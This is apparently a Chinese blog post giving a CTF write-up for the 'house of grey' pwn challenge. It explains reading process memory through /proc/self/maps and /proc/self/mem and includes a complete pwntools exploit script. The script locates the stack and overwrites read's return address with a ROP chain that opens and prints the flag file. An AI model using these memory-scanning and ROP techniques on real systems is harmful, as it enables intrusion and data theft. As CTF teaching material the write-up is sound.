house of grey

该博客讲述了如何利用Linux系统中的/proc/self/mem文件来读取和修改进程内存,详细解析了缓冲区溢出、ROP链构造以及利用mmap内存映射寻找栈地址的过程,最终实现绕过execve禁用,读取并输出flag文件内容。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

linux采用的文件系统是/proc文件系统,在运行时可以更改内核的数据结构和设置参数等
/proc/self/maps可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。
/proc/self/mem是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。但是不可读
所以可以结合map的信息确定读的偏移值,只有读取的偏移值是被映射的区域才能正确读取内存内容。
写入mem文件来直接写入内存,可以直接修改代码段,放入我们的shellcode,从而在程序流程执行到这一步时执行shellcode来拿shell。

ida分析一下这题
在这里插入图片描述
程序有一个缓冲区溢出
在这里插入图片描述

但是读文件不能读flag文件
在这里插入图片描述
可以用功能4修改V8实现任意地址写
在这里插入图片描述
而这个体execve系统调用被禁用了,我们可以构造ROP,把flag文件读取到内存中,再输出来
因为fn函数有一个exit(0)所以覆盖fn的返回地址是不行的,但我们可以覆盖fn中case4的read地址
但是程序是clone出来的
在这里插入图片描述
程序用mmap映射出一个内存,然后通过其中一段随机栈地址给clone,但是我们可以通过读取/proc/self/mem文件,来搜索标记,已确定程序的栈地址。
而标记就是”/proc/self/maps”字符串,因为buf里保存了这个字符串,当我们在内存中搜索到这个字符串时,当前位置就是buf的栈地址

#coding:utf8  
from pwn import *  
  
sh = process('./pwnh35')  
#sh = remote('111.198.29.45',37518)  
elf = ELF('./pwnh35')  
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')  
open_s_plt = elf.plt['open']  
read_s_plt = elf.plt['read']  
puts_s_plt = elf.plt['puts']  
#pop rdi  
#pop r15  
#retn  
pop_s_rsi = 0x1821  
#pop rdi  
#retn  
pop_s_rdi = 0x1823  
  
def enterRoom():  
   sh.sendlineafter('Do you want to help me build my room? Y/n?\n','Y')  
  
def setPath(content):  
   sh.sendlineafter('5.Exit\n','1')  
   sh.sendlineafter('So man, what are you finding?\n',content)  
  
def seekTo(pos):  
   sh.sendlineafter('5.Exit\n','2')  
   sh.sendlineafter('So, Where are you?\n',str(pos))  
  
def readSomething(length):  
   sh.sendlineafter('5.Exit\n','3')  
   sh.sendlineafter('How many things do you want to get?\n',str(length))  
  
def giveSomething(content):  
   sh.sendlineafter('5.Exit\n','4')  
   sh.sendlineafter('content:',content)  
  
enterRoom()  
setPath('/proc/self/maps')  
readSomething(2000)  
sh.recvuntil('You get something:\n')  
#解析程序的加载地址,以及mmap内存出的地址  
elf_base = int(sh.recvuntil('-').split('-')[0],16)  
pop_rdi = elf_base + pop_s_rdi  
pop_rsi = elf_base + pop_s_rsi  
open_addr = elf_base + open_s_plt  
read_addr = elf_base + read_s_plt  
puts_addr = elf_base + puts_s_plt  
  
while True:  
   line = sh.recvline()  
   if 'heap' in line:  
      #接下来这一行就是mmap出的内存的信息  
      line = sh.recvline()  
      mmap_start = int(line.split('-')[0],16)  
      mmap_end = int(line.split('-')[1].split(' ')[0],16)  
      break  
  
#现在解析出clone的那个程序的stack地址  
stack_end = mmap_end  
stack_start = mmap_start  
  
#范围偏差  
offset = 0xf800000  
#区间范围begin_off~stack_end里搜索  
begin_off = stack_end - offset - 24 * 100000  
setPath('/proc/self/mem')  
seekTo(begin_off)  
print 'begin->',hex(begin_off),'to',hex(stack_end)  
#在内存的范围内搜索,如果找到了/proc/self/mem这个字符串,说明当前地址就是buf的栈地址  
for i in range(0,24):  
   readSomething(100000)  
   content = sh.recvuntil('1.Find ')[:-7]  
   if '/proc/self/mem' in content:  
      print 'found!'  
      arr = content.split('/proc/self/mem')[0]  
      break  
if i == 23:  
   print '未能成功确定v8的地址,请重试!'  
   exit(0)  
  
#获得了v8的地址,可以将它里面的内容,实现任意地址写  
v8_addr = begin_off + i * 100000 + len(arr) + 5  
print 'v8 addr=',hex(v8_addr)  
read_ret = v8_addr - 0x50  
#覆盖v8指针内容为存放read返回地址的栈地址  
payload = '/proc/self/mem'.ljust(24,'\x00') + p64(read_ret)  
setPath(payload)  
#接下来,我们可以写rop了(v8_addr-24+15处就是/home/ctf/flag字符串)  
rop = p64(pop_rdi) + p64(read_ret + 15 * 8) + p64(pop_rsi) + p64(0) + p64(0) + p64(open_addr)  
#我们打开的文件,描述符为6  
rop += p64(pop_rdi) + p64(6) + p64(pop_rsi) + p64(read_ret + 15 * 8) + p64(0) + p64(read_addr)  
rop += p64(pop_rdi) + p64(read_ret + 15 * 8) + p64(puts_addr)  
rop += '/home/ctf/flag\x00'  
  
giveSomething(rop)  
  
sh.interactive()  
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值